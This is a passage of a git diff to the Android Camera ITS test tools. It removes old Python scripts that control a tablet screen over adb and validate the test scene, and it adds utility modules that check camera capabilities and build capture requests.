-import subprocess
-import sys
-import time
-
-SCREEN_DELAY = 1  # seconds. Needed for back to back runs
-
-
-def main():
-    """Put screen to sleep."""
-    screen_id = ''
-    state = 'OFF'  # turn OFF by default
-    delay_sec = 0  # no delay by default
-    for s in sys.argv[1:]:
-        if s[:7] == 'screen=' and len(s) > 7:
-            screen_id = s[7:]
-        elif s[:6] == 'state=' and len(s) > 6:
-            state = s[6:]
-        elif s[:6] == 'delay=' and len(s) > 6:
-            delay_sec = float(s[6:])
-
-    if not screen_id:
-        print 'Error: need to specify screen serial'
-        assert False
-
-    time.sleep(delay_sec)
-    cmd = ('adb -s %s shell dumpsys power | egrep "Display Power"'
-           % screen_id)
-    process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE)
-    cmd_ret = process.stdout.read()
-    screen_state = re.split(r'[s|=]', cmd_ret)[-1]
-    if state in screen_state:
-        print 'Screen already %s.' % state
-    else:
-        print 'Turning screen %s.' % state
-        pwrdn = ('adb -s %s shell input keyevent POWER' % screen_id)
-        subprocess.Popen(pwrdn.split())
-        time.sleep(SCREEN_DELAY)
-
-if __name__ == '__main__':
-    main()
diff --git a/apps/CameraITS/tools/validate_scene.py b/apps/CameraITS/tools/validate_scene.py
deleted file mode 100644
index e641718..0000000
--- a/apps/CameraITS/tools/validate_scene.py
+++ /dev/null
@@ -1,79 +0,0 @@
-# Copyright 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import sys
-import its.device
-import its.objects
-import its.image
-import its.caps
-import re
-
-def main():
-    """capture a yuv image and save it to argv[1]
-    """
-    camera_id = -1
-    out_path = ""
-    scene_name = ""
-    scene_desc = "No requirement"
-    do_af = True
-    for s in sys.argv[1:]:
-        if s[:7] == "camera=" and len(s) > 7:
-            camera_id = s[7:]
-        elif s[:4] == "out=" and len(s) > 4:
-            out_path = s[4:]
-        elif s[:6] == "scene=" and len(s) > 6:
-            scene_desc = s[6:]
-        elif s[:5] == "doAF=" and len(s) > 5:
-            do_af = s[5:] == "True"
-
-    if out_path != "":
-        scene_name = re.split("/|\.", out_path)[-2]
-
-    if camera_id == -1:
-        print "Error: need to specify which camera to use"
-        assert(False)
-
-    with its.device.ItsSession() as cam:
-        raw_input("Press Enter after placing camera " + camera_id +
-                " to frame the test scene: " + scene_name +
-                "\nThe scene setup should be: " + scene_desc )
-        # Converge 3A prior to capture.
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        cam.do_3a(do_af=do_af, lock_ae=its.caps.ae_lock(props),
-                  lock_awb=its.caps.awb_lock(props))
-        req = its.objects.fastest_auto_capture_request(props)
-        if its.caps.ae_lock(props):
-            req["android.control.awbLock"] = True
-        if its.caps.awb_lock(props):
-            req["android.control.aeLock"] = True
-        while True:
-            print "Capture an image to check the test scene"
-            cap = cam.do_capture(req)
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.validate_lighting(img)
-            if out_path != "":
-                its.image.write_image(img, out_path)
-            print "Please check scene setup in", out_path
-            choice = raw_input(
-                "Is the image okay for ITS " + scene_name +\
-                "? (Y/N)").lower()
-            if choice == "y":
-                break
-            else:
-                raw_input("Press Enter after placing camera " + camera_id +
-                          " to frame the test scene")
-
-if __name__ == '__main__':
-    main()
diff --git a/apps/CameraITS/tools/wake_up_screen.py b/apps/CameraITS/tools/wake_up_screen.py
deleted file mode 100644
index b9305cb..0000000
--- a/apps/CameraITS/tools/wake_up_screen.py
+++ /dev/null
@@ -1,80 +0,0 @@
-# Copyright 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import re
-import subprocess
-import sys
-import time
-
-DISPLAY_LEVEL = 96  # [0:255] Depends on tablet model. Adjust for best result.
-DISPLAY_CMD_WAIT = 0.5  # seconds. Screen commands take time to have effect
-DISPLAY_TIMEOUT = 1800000  # ms
-
-
-def main():
-    """Power up and unlock screen as needed."""
-    screen_id = None
-    display_level = DISPLAY_LEVEL
-    for s in sys.argv[1:]:
-        if s[:7] == 'screen=' and len(s) > 7:
-            screen_id = s[7:]
-        if s[:11] == 'brightness=' and len(s) > 11:
-            display_level = int(s[11:])
-            if display_level < 0 or display_level > 255:
-                print 'Invalid brightness value. Range is [0-255]'
-                display_level = DISPLAY_LEVEL
-
-    if not screen_id:
-        print 'Error: need to specify screen serial'
-        assert False
-
-    # turn on screen if necessary and unlock
-    cmd = ('adb -s %s shell dumpsys display | egrep "mScreenState"'
-           % screen_id)
-    process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE)
-    cmd_ret = process.stdout.read()
-    screen_state = re.split(r'[s|=]', cmd_ret)[-1]
-    power_event = ('adb -s %s shell input keyevent POWER' % screen_id)
-    subprocess.Popen(power_event.split())
-    time.sleep(DISPLAY_CMD_WAIT)
-    if 'ON' in screen_state:
-        print 'Screen was ON. Toggling to refresh.'
-        subprocess.Popen(power_event.split())
-        time.sleep(DISPLAY_CMD_WAIT)
-    else:
-        print 'Screen was OFF. Powered ON.'
-    unlock = ('adb -s %s wait-for-device shell wm dismiss-keyguard'
-              % screen_id)
-    subprocess.Popen(unlock.split())
-    time.sleep(DISPLAY_CMD_WAIT)
-
-    # set to manual mode and set brightness
-    manual = ('adb -s %s shell settings put system screen_brightness_mode 0'
-              % screen_id)
-    subprocess.Popen(manual.split())
-    time.sleep(DISPLAY_CMD_WAIT)
-    print 'Tablet display brightness set to %d' % display_level
-    bright = ('adb -s %s shell settings put system screen_brightness %d'
-              % (screen_id, display_level))
-    subprocess.Popen(bright.split())
-    time.sleep(DISPLAY_CMD_WAIT)
-
-    # set screen to dim at max time (30min)
-    stay_bright = ('adb -s %s shell settings put system screen_off_timeout %d'
-                   % (screen_id, DISPLAY_TIMEOUT))
-    subprocess.Popen(stay_bright.split())
-    time.sleep(DISPLAY_CMD_WAIT)
-
-if __name__ == '__main__':
-    main()
diff --git a/apps/CameraITS/utils/__init__.py b/apps/CameraITS/utils/__init__.py
new file mode 100644
index 0000000..317c4e6
--- /dev/null
+++ b/apps/CameraITS/utils/__init__.py
@@ -0,0 +1,13 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
diff --git a/apps/CameraITS/utils/camera_properties_utils.py b/apps/CameraITS/utils/camera_properties_utils.py
new file mode 100644
index 0000000..94ab23b
--- /dev/null
+++ b/apps/CameraITS/utils/camera_properties_utils.py
@@ -0,0 +1,812 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Utility functions to determine what functionality the camera supports."""
+
+
+import logging
+import unittest
+from mobly import asserts
+import numpy as np
+import capture_request_utils
+
+LENS_FACING_FRONT = 0
+LENS_FACING_BACK = 1
+LENS_FACING_EXTERNAL = 2
+MULTI_CAMERA_SYNC_CALIBRATED = 1
+NUM_DISTORTION_PARAMS = 5  # number of terms in lens.distortion
+NUM_INTRINSIC_CAL_PARAMS = 5  # number of terms in intrinsic calibration
+NUM_POSE_ROTATION_PARAMS = 4  # number of terms in poseRotation
+NUM_POSE_TRANSLATION_PARAMS = 3  # number of terms in poseTranslation
+SKIP_RET_MSG = 'Test skipped'
+SOLID_COLOR_TEST_PATTERN = 1
+
+
+def legacy(props):
+  """Returns whether a device is a LEGACY capability camera2 device.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device is a LEGACY camera.
+  """
+  return props.get('android.info.supportedHardwareLevel') == 2
+
+
+def limited(props):
+  """Returns whether a device is a LIMITED capability camera2 device.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if device is a LIMITED camera.
+  """
+  return props.get('android.info.supportedHardwareLevel') == 0
+
+
+def full_or_better(props):
+  """Returns whether a device is a FULL or better camera2 device.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if device is FULL or LEVEL3 camera.
+  """
+  return (props.get('android.info.supportedHardwareLevel') >= 1 and
+          props.get('android.info.supportedHardwareLevel') != 2)
+
+
+def level3(props):
+  """Returns whether a device is a LEVEL3 capability camera2 device.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device is LEVEL3 camera.
+  """
+  return props.get('android.info.supportedHardwareLevel') == 3
+
+
+def manual_sensor(props):
+  """Returns whether a device supports MANUAL_SENSOR capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if devices supports MANUAL_SENSOR capabilities.
+  """
+  return 1 in props.get('android.request.availableCapabilities', [])
+
+
+def manual_post_proc(props):
+  """Returns whether a device supports MANUAL_POST_PROCESSING capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports MANUAL_POST_PROCESSING capabilities.
+  """
+  return 2 in props.get('android.request.availableCapabilities', [])
+
+
+def raw(props):
+  """Returns whether a device supports RAW capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports RAW capabilities.
+  """
+  return 3 in props.get('android.request.availableCapabilities', [])
+
+
+def sensor_fusion(props):
+  """Checks the camera and motion sensor timestamps.
+
+  Returns whether the camera and motion sensor timestamps for the device
+  are in the same time domain and can be compared directly.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if camera and motion sensor timestamps in same time domain.
+  """
+  return props.get('android.sensor.info.timestampSource') == 1
+
+
+def logical_multi_camera(props):
+  """Returns whether a device is a logical multi-camera.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if the device is a logical multi-camera.
+  """
+  return 11 in props.get('android.request.availableCapabilities', [])
+
+
+def logical_multi_camera_physical_ids(props):
+  """Returns a logical multi-camera's underlying physical cameras.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    list of physical cameras backing the logical multi-camera.
+  """
+  physical_ids_list = []
+  if logical_multi_camera(props):
+    physical_ids_list = props['camera.characteristics.physicalCamIds']
+  return physical_ids_list
+
+
+def skip_unless(cond):
+  """Skips the test if the condition is false.
+
+  If a test is skipped, then it is exited and returns the special code
+  of 101 to the calling shell, which can be used by an external test
+  harness to differentiate a skip from a pass or fail.
+
+  Args:
+    cond: Boolean, which must be true for the test to not skip.
+
+  Returns:
+     Nothing.
+  """
+  if not cond:
+    asserts.skip(SKIP_RET_MSG)
+
+
+def backward_compatible(props):
+  """Returns whether a device supports BACKWARD_COMPATIBLE.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if the devices supports BACKWARD_COMPATIBLE.
+  """
+  return 0 in props.get('android.request.availableCapabilities', [])
+
+
+def lens_calibrated(props):
+  """Returns whether lens position is calibrated or not.
+
+  android.lens.info.focusDistanceCalibration has 3 modes.
+  0: Uncalibrated
+  1: Approximate
+  2: Calibrated
+
+  Args:
+    props: Camera properties objects.
+
+  Returns:
+    Boolean. True if lens is CALIBRATED.
+  """
+  return 'android.lens.info.focusDistanceCalibration' in props and props[
+      'android.lens.info.focusDistanceCalibration'] == 2
+
+
+def lens_approx_calibrated(props):
+  """Returns whether lens position is calibrated or not.
+
+  android.lens.info.focusDistanceCalibration has 3 modes.
+  0: Uncalibrated
+  1: Approximate
+  2: Calibrated
+
+  Args:
+   props: Camera properties objects.
+
+  Returns:
+    Boolean. True if lens is APPROXIMATE or CALIBRATED.
+  """
+  return props.get('android.lens.info.focusDistanceCalibration') in [1, 2]
+
+
+def raw10(props):
+  """Returns whether a device supports RAW10 capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports RAW10 capabilities.
+  """
+  if capture_request_utils.get_available_output_sizes('raw10', props):
+    return True
+  return False
+
+
+def raw12(props):
+  """Returns whether a device supports RAW12 capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports RAW12 capabilities.
+  """
+  if capture_request_utils.get_available_output_sizes('raw12', props):
+    return True
+  return False
+
+
+def raw16(props):
+  """Returns whether a device supports RAW16 output.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports RAW16 capabilities.
+  """
+  if capture_request_utils.get_available_output_sizes('raw', props):
+    return True
+  return False
+
+
+def raw_output(props):
+  """Returns whether a device supports any of the RAW output formats.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports any of the RAW output formats
+  """
+  return raw16(props) or raw10(props) or raw12(props)
+
+
+def per_frame_control(props):
+  """Returns whether a device supports per frame control.
+
+  Args:
+    props: Camera properties object.
+
+  Returns: Boolean. True if devices supports per frame control.
+  """
+  return 'android.sync.maxLatency' in props and props[
+      'android.sync.maxLatency'] == 0
+
+
+def mono_camera(props):
+  """Returns whether a device is monochromatic.
+
+  Args:
+    props: Camera properties object.
+  Returns: Boolean. True if MONO camera.
+  """
+  return 12 in props.get('android.request.availableCapabilities', [])
+
+
+def fixed_focus(props):
+  """Returns whether a device is fixed focus.
+
+  props[android.lens.info.minimumFocusDistance] == 0 is fixed focus
+
+  Args:
+    props: Camera properties objects.
+
+  Returns:
+    Boolean. True if device is a fixed focus camera.
+  """
+  return 'android.lens.info.minimumFocusDistance' in props and props[
+      'android.lens.info.minimumFocusDistance'] == 0
+
+
+def face_detect(props):
+  """Returns whether a device has face detection mode.
+
+  props['android.statistics.info.availableFaceDetectModes'] != 0
+
+  Args:
+    props: Camera properties objects.
+
+  Returns:
+    Boolean. True if device supports face detection.
+  """
+  return 'android.statistics.info.availableFaceDetectModes' in props and props[
+      'android.statistics.info.availableFaceDetectModes'] != [0]
+
+
+def read_3a(props):
+  """Return whether a device supports reading out the below 3A settings.
+
+  sensitivity
+  exposure time
+  awb gain
+  awb cct
+  focus distance
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if device supports reading out 3A settings.
+  """
+  return manual_sensor(props) and manual_post_proc(props)
+
+
+def compute_target_exposure(props):
+  """Return whether a device supports target exposure computation.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports target exposure computation.
+  """
+  return manual_sensor(props) and manual_post_proc(props)
+
+
+def y8(props):
+  """Returns whether a device supports Y8 output.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if device suupports Y8 output.
+  """
+  if capture_request_utils.get_available_output_sizes('y8', props):
+    return True
+  return False
+
+
+def jpeg_quality(props):
+  """Returns whether a device supports JPEG quality."""
+  return ('camera.characteristics.requestKeys' in props) and (
+      'android.jpeg.quality' in props['camera.characteristics.requestKeys'])
+
+
+def zoom_ratio_range(props):
+  """Returns whether a device supports zoom capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports zoom capabilities.
+  """
+  return 'android.control.zoomRatioRange' in props and props[
+      'android.control.zoomRatioRange'] is not None
+
+
+def sync_latency(props):
+  """Returns sync latency in number of frames.
+
+  If undefined, 8 frames.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    integer number of frames.
+  """
+  latency = props['android.sync.maxLatency']
+  if latency < 0:
+    latency = 8
+  return latency
+
+
+def get_max_digital_zoom(props):
+  """Returns the maximum amount of zooming possible by the camera device.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    A float indicating the maximum amount of zooming possible by the
+    camera device.
+  """
+  z_max = 1.0
+  if 'android.scaler.availableMaxDigitalZoom' in props:
+    z_max = props['android.scaler.availableMaxDigitalZoom']
+  return z_max
+
+
+def ae_lock(props):
+  """Returns whether a device supports AE lock.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports AE lock.
+  """
+  return 'android.control.aeLockAvailable' in props and props[
+      'android.control.aeLockAvailable'] == 1
+
+
+def awb_lock(props):
+  """Returns whether a device supports AWB lock.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports AWB lock.
+  """
+  return 'android.control.awbLockAvailable' in props and props[
+      'android.control.awbLockAvailable'] == 1
+
+
+def ev_compensation(props):
+  """Returns whether a device supports ev compensation.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports EV compensation.
+  """
+  return 'android.control.aeCompensationRange' in props and props[
+      'android.control.aeCompensationRange'] != [0, 0]
+
+
+def flash(props):
+  """Returns whether a device supports flash control.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports flash control.
+  """
+  return 'android.flash.info.available' in props and props[
+      'android.flash.info.available'] == 1
+
+
+def distortion_correction(props):
+  """Returns whether a device supports android.lens.distortion capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports lens distortion correction capabilities.
+  """
+  return 'android.lens.distortion' in props and props[
+      'android.lens.distortion'] is not None
+
+
+def freeform_crop(props):
+  """Returns whether a device supports freefrom cropping.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports freeform cropping.
+  """
+  return 'android.scaler.croppingType' in props and props[
+      'android.scaler.croppingType'] == 1
+
+
+def noise_reduction_mode(props, mode):
+  """Returns whether a device supports the noise reduction mode.
+
+  Args:
+    props: Camera properties objects.
+    mode: Integer indicating noise reduction mode to check for availability.
+
+  Returns:
+    Boolean. Ture if devices supports noise reduction mode(s).
+  """
+  return ('android.noiseReduction.availableNoiseReductionModes' in props and
+          mode in props['android.noiseReduction.availableNoiseReductionModes'])
+
+
+def lsc_map(props):
+  """Returns whether a device supports lens shading map output.
+
+  Args:
+    props: Camera properties object.
+  Returns: Boolean. True if device supports lens shading map output.
+  """
+  return 1 in props.get('android.statistics.info.availableLensShadingMapModes',
+                        [])
+
+
+def lsc_off(props):
+  """Returns whether a device supports disabling lens shading correction.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports disabling lens shading correction.
+  """
+  return 0 in props.get('android.shading.availableModes', [])
+
+
+def edge_mode(props, mode):
+  """Returns whether a device supports the edge mode.
+
+  Args:
+    props: Camera properties objects.
+    mode: Integer, indicating the edge mode to check for availability.
+
+  Returns:
+    Boolean. True if device supports edge mode(s).
+  """
+  return 'android.edge.availableEdgeModes' in props and mode in props[
+      'android.edge.availableEdgeModes']
+
+
+def yuv_reprocess(props):
+  """Returns whether a device supports YUV reprocessing.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports YUV reprocessing.
+  """
+  return 'android.request.availableCapabilities' in props and 7 in props[
+      'android.request.availableCapabilities']
+
+
+def private_reprocess(props):
+  """Returns whether a device supports PRIVATE reprocessing.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports PRIVATE reprocessing.
+  """
+  return 'android.request.availableCapabilities' in props and 4 in props[
+      'android.request.availableCapabilities']
+
+
+def intrinsic_calibration(props):
+  """Returns whether a device supports android.lens.intrinsicCalibration.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports android.lens.intrinsicCalibratino.
+  """
+  return props.get('android.lens.intrinsicCalibration') is not None
+
+
+def get_intrinsic_calibration(props, debug, fd=None):
+  """Get intrinsicCalibration and create intrisic matrix.
+
+  If intrinsic android.lens.intrinsicCalibration does not exist, return None.
+
+  Args:
+    props: camera properties
+    debug: bool to print more information
+    fd: focal length from capture metadata
+
+  Returns:
+    intrinsic transformation matrix
+    k = [[f_x, s, c_x],
+         [0, f_y, c_y],
+         [0,   0,   1]]
+  """
+  if props.get('android.lens.intrinsicCalibration'):
+    ical = np.array(props['android.lens.intrinsicCalibration'])
+  else:
+    logging.error('Device does not have android.lens.intrinsicCalibration.')
+    return None
+
+  # basic checks for parameter correctness
+  ical_len = len(ical)
+  if ical_len != NUM_INTRINSIC_CAL_PARAMS:
+    raise ValueError(
+        f'instrisicCalibration has wrong number of params: {ical_len}.')
+
+  if fd is not None:
+    # detailed checks for parameter correctness
+    # Intrinsic cal is of format: [f_x, f_y, c_x, c_y, s]
+    # [f_x, f_y] is the horizontal and vertical focal lengths,
+    # [c_x, c_y] is the position of the optical axis,
+    # and s is skew of sensor plane vs lens plane.
+    sensor_h = props['android.sensor.info.physicalSize']['height']
+    sensor_w = props['android.sensor.info.physicalSize']['width']
+    pixel_h = props['android.sensor.info.pixelArraySize']['height']
+    pixel_w = props['android.sensor.info.pixelArraySize']['width']
+    fd_w_pix = pixel_w * fd / sensor_w
+    fd_h_pix = pixel_h * fd / sensor_h
+
+    if not np.isclose(fd_w_pix, ical[0], rtol=0.20):
+      raise ValueError('fd_w(pixels): %.2f\tcal[0](pixels): %.2f\tTOL=20%%' % (
+          fd_w_pix, ical[0]))
+    if not np.isclose(fd_h_pix, ical[1], rtol=0.20):
+      raise ValueError('fd_h(pixels): %.2f\tcal[1](pixels): %.2f\tTOL=20%%' % (
+          fd_h_pix, ical[0]))
+
+  # generate instrinsic matrix
+  k = np.array([[ical[0], ical[4], ical[2]],
+                [0, ical[1], ical[3]],
+                [0, 0, 1]])
+  if debug:
+    logging.debug('k: %s', str(k))
+  return k
+
+
+def get_translation_matrix(props, debug):
+  """Get translation matrix.
+
+  Args:
+    props: dict of camera properties
+    debug: boolean flag to log more info
+
+  Returns:
+    android.lens.poseTranslation matrix if it exists, otherwise None.
+  """
+  if props['android.lens.poseTranslation']:
+    t = np.array(props['android.lens.poseTranslation'])
+  else:
+    logging.error('Device does not have android.lens.poseTranslation.')
+    return None
+
+  if debug:
+    logging.debug('translation: %s', str(t))
+  t_len = len(t)
+  if t_len != NUM_POSE_TRANSLATION_PARAMS:
+    raise ValueError(f'poseTranslation has wrong # of params: {t_len}.')
+  return t
+
+
+def get_rotation_matrix(props, debug):
+  """Convert the rotation parameters to 3-axis data.
+
+  Args:
+    props: camera properties
+    debug: boolean for more information
+
+  Returns:
+    3x3 matrix w/ rotation parameters if poseRotation exists, otherwise None
+  """
+  if props['android.lens.poseRotation']:
+    rotation = np.array(props['android.lens.poseRotation'])
+  else:
+    logging.error('Device does not have android.lens.poseRotation.')
+    return None
+
+  if debug:
+    logging.debug('rotation: %s', str(rotation))
+    rotation_len = len(rotation)
+    if rotation_len != NUM_POSE_ROTATION_PARAMS:
+      raise ValueError(f'poseRotation has wrong # of params: {rotation_len}.')
+  x = rotation[0]
+  y = rotation[1]
+  z = rotation[2]
+  w = rotation[3]
+  return np.array([[1-2*y**2-2*z**2, 2*x*y-2*z*w, 2*x*z+2*y*w],
+                   [2*x*y+2*z*w, 1-2*x**2-2*z**2, 2*y*z-2*x*w],
+                   [2*x*z-2*y*w, 2*y*z+2*x*w, 1-2*x**2-2*y**2]])
+
+
+def get_distortion_matrix(props):
+  """Get android.lens.distortion matrix and convert to cv2 fmt.
+
+  Args:
+    props: dict of camera properties
+
+  Returns:
+    cv2 reordered android.lens.distortion if it exists, otherwise None.
+  """
+  if props['android.lens.distortion']:
+    dist = np.array(props['android.lens.distortion'])
+  else:
+    logging.error('Device does not have android.lens.distortion.')
+    return None
+
+  dist_len = len(dist)
+  if len(dist) != NUM_DISTORTION_PARAMS:
+    raise ValueError(f'lens.distortion has wrong # of params: {dist_len}.')
+  cv2_distort = np.array([dist[0], dist[1], dist[3], dist[4], dist[2]])
+  logging.debug('cv2 distortion params: %s', str(cv2_distort))
+  return cv2_distort
+
+
+def post_raw_sensitivity_boost(props):
+  """Returns whether a device supports post RAW sensitivity boost.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if android.control.postRawSensitivityBoost is supported.
+  """
+  return props.get('android.control.postRawSensitivityBoostRange') != [100, 100]
+
+
+def sensor_fusion_capable(props):
+  """Determine if test_sensor_fusion is run."""
+  return all([sensor_fusion(props),
+              manual_sensor(props),
+              props['android.lens.facing'] != LENS_FACING_EXTERNAL])
+
+
+def continuous_picture(props):
+  """Returns whether a device supports CONTINUOUS_PICTURE.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if CONTINUOUS_PICTURE in android.control.afAvailableModes.
+  """
+  return 4 in props.get('android.control.afAvailableModes', [])
+
+
+def af_scene_change(props):
+  """Returns whether a device supports AF_SCENE_CHANGE.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if android.control.afSceneChange supported.
+  """
+  return 'android.control.afSceneChange' in props.get(
+      'camera.characteristics.resultKeys')
+
+
+def multi_camera_frame_sync_capable(props):
+  """Determines if test_multi_camera_frame_sync can be run."""
+  return all([
+      read_3a(props),
+      per_frame_control(props),
+      logical_multi_camera(props),
+      sensor_fusion(props),
+  ])
+
+
+def multi_camera_sync_calibrated(props):
+  """Determines if multi-camera sync type is CALIBRATED or APPROXIMATE.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if android.logicalMultiCamera.sensorSyncType is CALIBRATED.
+  """
+  return props.get('android.logicalMultiCamera.sensorSyncType'
+                  ) == MULTI_CAMERA_SYNC_CALIBRATED
+
+
+def solid_color_test_pattern(props):
+  """Determines if camera supports solid color test pattern.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if android.sensor.availableTestPatternModes has
+             SOLID_COLOR_TEST_PATTERN.
+  """
+  return SOLID_COLOR_TEST_PATTERN in props.get(
+      'android.sensor.availableTestPatternModes')
+
+
+if __name__ == '__main__':
+  unittest.main()
+
diff --git a/apps/CameraITS/utils/capture_request_utils.py b/apps/CameraITS/utils/capture_request_utils.py
new file mode 100644
index 0000000..e3825a9
--- /dev/null
+++ b/apps/CameraITS/utils/capture_request_utils.py
@@ -0,0 +1,419 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Utility functions to create custom capture requests."""
+
+
+import logging
+import math
+import unittest
+
+
+def auto_capture_request():
+  """Returns a capture request with everything set to auto."""
+  return {
+      'android.control.mode': 1,
+      'android.control.aeMode': 1,
+      'android.control.awbMode': 1,
+      'android.control.afMode': 1,
+      'android.colorCorrection.mode': 1,
+      'android.tonemap.mode': 1,
+      'android.lens.opticalStabilizationMode': 0
+  }
+
+
+def manual_capture_request(sensitivity,
+                           exp_time,
+                           f_distance=0.0,
+                           linear_tonemap=False,
+                           props=None):
+  """Returns a capture request with everything set to manual.
+
+  Uses identity/unit color correction, and the default tonemap curve.
+  Optionally, the tonemap can be specified as being linear.
+
+  Args:
+   sensitivity: The sensitivity value to populate the request with.
+   exp_time: The exposure time, in nanoseconds, to populate the request with.
+   f_distance: The focus distance to populate the request with.
+   linear_tonemap: [Optional] whether a linear tonemap should be used in this
+     request.
+   props: [Optional] the object returned from
+     its_session_utils.get_camera_properties().Must present when linear_tonemap
+     is True.
+
+  Returns:
+    The default manual capture request, ready to be passed to the
+    its_session_utils.device.do_capture function.
+  """
+  req = {
+      'android.control.captureIntent':
+          6,
+      'android.control.mode':
+          0,
+      'android.control.aeMode':
+          0,
+      'android.control.awbMode':
+          0,
+      'android.control.afMode':
+          0,
+      'android.control.effectMode':
+          0,
+      'android.sensor.sensitivity':
+          sensitivity,
+      'android.sensor.exposureTime':
+          exp_time,
+      'android.colorCorrection.mode':
+          0,
+      'android.colorCorrection.transform':
+          int_to_rational([1, 0, 0, 0, 1, 0, 0, 0, 1]),
+      'android.colorCorrection.gains': [1, 1, 1, 1],
+      'android.lens.focusDistance':
+          f_distance,
+      'android.tonemap.mode':
+          1,
+      'android.shading.mode':
+          1,
+      'android.lens.opticalStabilizationMode':
+          0
+  }
+  if linear_tonemap:
+    assert props is not None
+    # CONTRAST_CURVE mode
+    if 0 in props['android.tonemap.availableToneMapModes']:
+      req['android.tonemap.mode'] = 0
+      req['android.tonemap.curve'] = {
+          'red': [0.0, 0.0, 1.0, 1.0],
+          'green': [0.0, 0.0, 1.0, 1.0],
+          'blue': [0.0, 0.0, 1.0, 1.0]
+      }
+    # GAMMA_VALUE mode
+    elif 3 in props['android.tonemap.availableToneMapModes']:
+      req['android.tonemap.mode'] = 3
+      req['android.tonemap.gamma'] = 1.0
+    else:
+      logging.debug('Linear tonemap is not supported')
+      assert False
+  return req
+
+
+def get_available_output_sizes(fmt, props, max_size=None, match_ar_size=None):
+  """Return a sorted list of available output sizes for a given format.
+
